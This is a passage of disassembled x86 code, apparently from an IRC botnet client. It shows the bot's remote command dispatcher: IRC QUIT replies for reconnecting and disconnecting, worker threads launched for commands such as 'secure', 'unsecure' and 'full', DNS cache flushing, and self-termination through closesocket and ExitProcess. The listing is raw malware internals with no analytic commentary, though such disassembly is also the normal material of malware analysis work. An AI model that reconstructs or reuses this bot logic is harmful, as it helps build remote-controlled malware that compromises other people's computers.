; ---------------------------------------------------------------------------


loc_403E0A:				; CODE XREF: sub_401AA1+2377j
		push	32h
		call	dword_428080	; Sleep


loc_403E12:				; CODE XREF: sub_401AA1+232Ej
		cmp	[ebp+var_1810],	ebx
		jz	short loc_403E0A
		jmp	short loc_403DEC
; ---------------------------------------------------------------------------


loc_403E1C:				; CODE XREF: sub_401AA1+1A41j
					; sub_401AA1+1A56j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403E2F
		push	esi
		call	sub_41BDE9
		jmp	short loc_403E36
; ---------------------------------------------------------------------------


loc_403E2F:				; CODE XREF: sub_401AA1+2384j
		push	0Bh
		call	sub_40B4B5


loc_403E36:				; CODE XREF: sub_401AA1+238Cj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409567
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BB95
		jmp	loc_404307
; ---------------------------------------------------------------------------


loc_403E56:				; CODE XREF: sub_401AA1+1A17j
					; sub_401AA1+1A2Cj
		mov	eax, dword_4CE224
		cmp	eax, ebx
		jz	short loc_403E79
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403E72
		push	offset unk_42E6A4
		jmp	short loc_403E84
; ---------------------------------------------------------------------------


loc_403E72:				; CODE XREF: sub_401AA1+23C8j
		push	offset unk_42E678
		jmp	short loc_403E84
; ---------------------------------------------------------------------------


loc_403E79:				; CODE XREF: sub_401AA1+23BCj
		push	offset unk_42E64C
		lea	eax, [ebp+var_2C0]


loc_403E84:				; CODE XREF: sub_401AA1+23CFj
					; sub_401AA1+23D6j ...
		push	200h
		push	eax
		call	sub_41BFF0
		jmp	loc_406BC0
; ---------------------------------------------------------------------------


loc_403E94:				; CODE XREF: sub_401AA1+19EDj
					; sub_401AA1+1A02j
		call	sub_40A7FD
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403EAA
		push	offset unk_42E628
		jmp	short loc_403E84
; ---------------------------------------------------------------------------


loc_403EAA:				; CODE XREF: sub_401AA1+2400j
		push	offset unk_42E5FC
		jmp	short loc_403E84
; ---------------------------------------------------------------------------


loc_403EB1:				; CODE XREF: sub_401AA1+19C3j
					; sub_401AA1+19D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ED0
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E5E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_403ED0:				; CODE XREF: sub_401AA1+2413j
		push	ebx
		push	[ebp+var_4]
		call	sub_418861
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	offset dword_42E5AC
		jmp	loc_4041D4
; ---------------------------------------------------------------------------


loc_403EF2:				; CODE XREF: sub_401AA1+185Aj
					; sub_401AA1+186Fj
		push	0Ah
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_403F05
		push	offset dword_42E560
		jmp	short loc_403F26
; ---------------------------------------------------------------------------


loc_403F05:				; CODE XREF: sub_401AA1+245Bj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A2D6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F21
		push	offset unk_42E51C
		jmp	short loc_403F26
; ---------------------------------------------------------------------------


loc_403F21:				; CODE XREF: sub_401AA1+2477j
		push	offset unk_42E4E4


loc_403F26:				; CODE XREF: sub_401AA1+2462j
					; sub_401AA1+247Ej ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_403F34:				; CODE XREF: sub_401AA1+575Fj
					; sub_401AA1+708Cj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F55
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403F4D:				; CODE XREF: sub_401AA1+6CF4j
		call	sub_409743
		add	esp, 14h


loc_403F55:				; CODE XREF: sub_401AA1+2496j
					; sub_401AA1+2687j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		jmp	loc_4096B1
; ---------------------------------------------------------------------------


loc_403F66:				; CODE XREF: sub_401AA1+1830j
					; sub_401AA1+1845j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A49A
		jmp	loc_4041F5
; ---------------------------------------------------------------------------


loc_403F7F:				; CODE XREF: sub_401AA1+1806j
					; sub_401AA1+181Bj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4171BD
		jmp	loc_4041F5
; ---------------------------------------------------------------------------


loc_403F9C:				; CODE XREF: sub_401AA1+17DCj
					; sub_401AA1+17F1j
		or	edi, 0FFFFFFFFh
		call	dword_4280B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403FC5
		push	esi
		call	sub_41BDE9
		pop	ecx
		mov	edi, eax


loc_403FC5:				; CODE XREF: sub_401AA1+2519j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403FDE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409567


loc_403FDE:				; CODE XREF: sub_401AA1+2532j
		push	ebx
		call	sub_41AF01
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E4AC
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743


loc_40400F:				; DATA XREF: .XPack0:0042A6C0o
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45


loc_40401B:				; CODE XREF: sub_401AA1+5DB1j
		add	esp, 28h
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_404023:				; CODE XREF: sub_401AA1+17B2j
					; sub_401AA1+17C7j
		push	27h
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_404054
		cmp	[ebp+var_8], ebx
		jnz	loc_401F20
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E468
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		jmp	loc_408B47
; ---------------------------------------------------------------------------


loc_404054:				; CODE XREF: sub_401AA1+258Cj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_4040B5
		push	esi
		push	offset aFull	; "full"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040B5
		mov	[ebp+var_B40], 1


loc_4040B5:				; CODE XREF: sub_401AA1+25F7j
					; sub_401AA1+2608j
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E420
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	27h
		push	eax
		call	sub_40B254
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419F5D
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_404135
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E3C0
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_403F55
; ---------------------------------------------------------------------------


loc_40412D:				; CODE XREF: sub_401AA1+269Aj
		push	32h
		call	dword_428080	; Sleep


loc_404135:				; CODE XREF: sub_401AA1+266Aj
		cmp	[ebp+var_B34], ebx
		jz	short loc_40412D
		jmp	loc_403F55
; ---------------------------------------------------------------------------


loc_404142:				; CODE XREF: sub_401AA1+1788j
					; sub_401AA1+179Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_404161
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E384
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_404161:				; CODE XREF: sub_401AA1+26A4j
		push	[ebp+arg_4]
		call	dword_4CE3A0	; closesocket
		call	dword_4CE260	; WSACleanup
		call	sub_4189E4
		push	ebx
		call	dword_42806C	; ExitProcess


loc_40417C:				; CODE XREF: sub_401AA1+175Ej
					; sub_401AA1+1773j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B0A1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	offset dword_42E34C
		jmp	short loc_4041D4
; ---------------------------------------------------------------------------


loc_4041A7:				; CODE XREF: sub_401AA1+1734j
					; sub_401AA1+1749j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B355
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	offset dword_42E314


loc_4041D4:				; CODE XREF: sub_401AA1+244Cj
					; sub_401AA1+2704j
		call	sub_415F45


loc_4041D9:				; CODE XREF: sub_401AA1+6DFAj
		add	esp, 18h
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_4041E1:				; CODE XREF: sub_401AA1+170Aj
					; sub_401AA1+171Fj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415FE5


loc_4041F5:				; CODE XREF: sub_401AA1+3A9j
					; sub_401AA1+24D9j ...
		add	esp, 10h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4041FD:				; CODE XREF: sub_401AA1+16E0j
					; sub_401AA1+16F5j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_40423C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40423C
		push	esi
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40423C
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41BFF0
		add	esp, 10h


loc_40423C:				; CODE XREF: sub_401AA1+2765j
					; sub_401AA1+2770j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		push	offset dword_42E2E0
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	25h
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset sub_416058
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4042DF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E280
		jmp	loc_4096AB
; ---------------------------------------------------------------------------


loc_4042D7:				; CODE XREF: sub_401AA1+2844j
		push	32h
		call	dword_428080	; Sleep


loc_4042DF:				; CODE XREF: sub_401AA1+2823j
		cmp	[ebp+var_150C],	ebx
		jz	short loc_4042D7
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4042EC:				; CODE XREF: sub_401AA1+16B6j
					; sub_401AA1+16CBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415ECD
		push	offset dword_42E248
		call	sub_415F45


loc_404307:				; CODE XREF: sub_401AA1+23B0j
		add	esp, 10h
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_40430F:				; CODE XREF: sub_401AA1+168Cj
					; sub_401AA1+16A1j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_404369
		push	offset dword_42E244
		push	esi
		call	sub_41C6E0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_40436F
; ---------------------------------------------------------------------------


loc_404369:				; CODE XREF: sub_401AA1+28ACj
		mov	[ebp+var_BD8], ebx


loc_40436F:				; CODE XREF: sub_401AA1+28C6j
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E20C
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	28h
		push	eax
		call	sub_40B254
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset sub_40B2BF
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4043EF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E1B8


loc_4043D3:				; CODE XREF: sub_401AA1+7530j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_4043E7:				; CODE XREF: sub_401AA1+2954j
		push	32h
		call	dword_428080	; Sleep


loc_4043EF:				; CODE XREF: sub_401AA1+2924j
		cmp	[ebp+var_BCC], ebx
		jz	short loc_4043E7
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_4043FC:				; CODE XREF: sub_401AA1+1610j
					; sub_401AA1+1625j
		push	offset dword_42A990
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E180
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 20h
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_404433:				; CODE XREF: sub_401AA1+15E6j
					; sub_401AA1+15FBj
		push	dword_4CE04C
		call	sub_41AF01
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E130
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 24h
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_404471:				; CODE XREF: sub_401AA1+15BCj
					; sub_401AA1+15D1j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044A3
		cmp	[ebp+var_C], ebx
		jz	short loc_4044B2
		push	esi
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044B2
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		add	esp, 0Ch
		jmp	short loc_4044B2
; ---------------------------------------------------------------------------


loc_4044A3:				; CODE XREF: sub_401AA1+29D9j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		pop	ecx
		pop	ecx


loc_4044B2:				; CODE XREF: sub_401AA1+29DEj
					; sub_401AA1+29EDj ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_4044BA:				; CODE XREF: sub_401AA1+1592j
					; sub_401AA1+15A7j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	offset dword_42E0C0
		call	sub_415F45
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_4044DC:				; CODE XREF: sub_401AA1+1568j
					; sub_401AA1+157Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	offset dword_42E070
		call	sub_415F45
		add	esp, 0Ch
		jmp	loc_4094D7
; ---------------------------------------------------------------------------


loc_4044FB:				; CODE XREF: sub_401AA1+153Ej
					; sub_401AA1+1553j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B91D
		jmp	loc_4048B7
; ---------------------------------------------------------------------------


loc_404511:				; CODE XREF: sub_401AA1+1514j
					; sub_401AA1+1529j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B8C9
		jmp	loc_4048B7
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_401AA1+14EAj
					; sub_401AA1+14FFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B85E
		jmp	loc_4048B7
; ---------------------------------------------------------------------------


loc_40453D:				; CODE XREF: sub_401AA1+14C0j
					; sub_401AA1+14D5j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B790
		jmp	loc_4048B7
; ---------------------------------------------------------------------------


loc_404553:				; CODE XREF: sub_401AA1+141Bj
					; sub_401AA1+1430j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42E060
		push	offset dword_42E038
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_40456B:				; CODE XREF: sub_401AA1+13F1j
					; sub_401AA1+1406j
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42E02C
		push	offset dword_42E01C
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_404583:				; CODE XREF: sub_401AA1+100Aj
					; sub_401AA1+101Fj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045A2
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jz	short loc_4045A2
		push	edi
		call	sub_41BDE9
		pop	ecx
		jmp	short loc_4045A7
; ---------------------------------------------------------------------------


loc_4045A2:				; CODE XREF: sub_401AA1+2AEBj
					; sub_401AA1+2AF6j
		mov	eax, dword_42A960


loc_4045A7:				; CODE XREF: sub_401AA1+2AFFj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_4045CC
		push	esi


loc_4045B9:				; CODE XREF: sub_401AA1+2B3Aj
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		jmp	short loc_4045E3
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401AA1+2B15j
		cmp	[ebp+var_8FF], bl
		jz	short loc_4045DD
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_4045B9
; ---------------------------------------------------------------------------


loc_4045DD:				; CODE XREF: sub_401AA1+2B31j
		mov	[ebp+var_5A0], bl


loc_4045E3:				; CODE XREF: sub_401AA1+2B29j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41BFF0
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DFF4
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	19h
		push	eax
		call	sub_40B254
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411E46
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_404697
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DFB8
		jmp	loc_4096AB
; ---------------------------------------------------------------------------


loc_40468F:				; CODE XREF: sub_401AA1+2BFCj
		push	32h
		call	dword_428080	; Sleep


loc_404697:				; CODE XREF: sub_401AA1+2BDBj
		cmp	[ebp+var_57C], ebx
		jz	short loc_40468F
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4046A4:				; CODE XREF: sub_401AA1+FB7j
					; sub_401AA1+FCCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046C4
		push	esi
		call	sub_41BDE9
		test	ax, ax
		pop	ecx
		jz	short loc_4046C4
		push	esi
		call	sub_41BDE9
		pop	ecx
		jmp	short loc_4046CA
; ---------------------------------------------------------------------------


loc_4046C4:				; CODE XREF: sub_401AA1+2C0Cj
					; sub_401AA1+2C18j
		mov	ax, word_42A970


loc_4046CA:				; CODE XREF: sub_401AA1+2C21j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41BFF0
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DF8C
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409743
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	6
		push	eax
		call	sub_40B254
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40F219
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_40479C
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DF4C
		jmp	loc_4096AB
; ---------------------------------------------------------------------------


loc_404794:				; CODE XREF: sub_401AA1+2D01j
		push	32h
		call	dword_428080	; Sleep


loc_40479C:				; CODE XREF: sub_401AA1+2CE0j
		cmp	[ebp+var_968], ebx
		jz	short loc_404794
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4047A9:				; CODE XREF: sub_401AA1+F63j
					; sub_401AA1+F78j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4047D1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C6E0
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047DB


loc_4047D1:				; CODE XREF: sub_401AA1+2D17j
		mov	[ebp+var_AA8], 1


loc_4047DB:				; CODE XREF: sub_401AA1+2D2Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404822
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_404822:				; CODE XREF: sub_401AA1+2D7Aj
		push	eax
		push	offset dword_42DEFC
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	22h
		push	eax
		call	sub_40B254
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A48B
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_404899
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DEA8
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_404891:				; CODE XREF: sub_401AA1+2DFEj
		push	32h
		call	dword_428080	; Sleep


loc_404899:				; CODE XREF: sub_401AA1+2DDDj
		cmp	[ebp+var_A9C], ebx
		jz	short loc_404891
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_4048A6:				; CODE XREF: sub_401AA1+F39j
					; sub_401AA1+F4Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41AD24


loc_4048B7:				; CODE XREF: sub_401AA1+2A6Bj
					; sub_401AA1+2A81j ...
		add	esp, 0Ch
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_4048BF:				; CODE XREF: sub_401AA1+F0Fj
					; sub_401AA1+F24j
		push	offset dword_42DE68
		jmp	loc_406169
; ---------------------------------------------------------------------------


loc_4048C9:				; CODE XREF: sub_401AA1+EE5j
					; sub_401AA1+EFAj
		push	offset dword_42A9A0
		push	offset dword_42DE3C
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_4048D8:				; CODE XREF: sub_401AA1+EBBj
					; sub_401AA1+ED0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40492B
		push	esi
		call	sub_41BDE9
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404923
		cmp	eax, 3
		jge	short loc_404923
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_40491B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F550
		push	eax
		call	sub_41BEF6
		mov	[esi], bl
		jmp	short loc_404974
; ---------------------------------------------------------------------------


loc_40491B:				; CODE XREF: sub_401AA1+2E5Fj
		push	eax
		push	offset dword_42DDE8
		jmp	short loc_404968
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401AA1+2E4Bj
					; sub_401AA1+2E50j
		push	eax
		push	offset dword_42DD90
		jmp	short loc_404968
; ---------------------------------------------------------------------------


loc_40492B:				; CODE XREF: sub_401AA1+2E40j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404930:				; CODE XREF: sub_401AA1+2EABj
		push	[ebp+var_90]
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404953
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404930
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_401AA1+2E9Fj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_42DD48


loc_404968:				; CODE XREF: sub_401AA1+2090j
					; sub_401AA1+2E80j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6


loc_404974:				; CODE XREF: sub_401AA1+2E78j
					; sub_401AA1+5495j
		add	esp, 0Ch
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_40497C:				; CODE XREF: sub_401AA1+E91j
					; sub_401AA1+EA6j
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4033D4
		call	sub_40B417
		push	ebx
		call	dword_42806C	; ExitProcess


loc_4049A2:				; CODE XREF: sub_401AA1+196Bj
		push	offset aGet	; "get"
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A48
		cmp	dword_4D1A8C, ebx
		jz	short loc_4049CE
		push	offset dword_4D1470
		push	offset unk_42DD08
		jmp	loc_404A5A
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_401AA1+2F1Cj
		push	10h
		pop	eax
		mov	[ebp+var_2D0], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_42822C	; getsockname
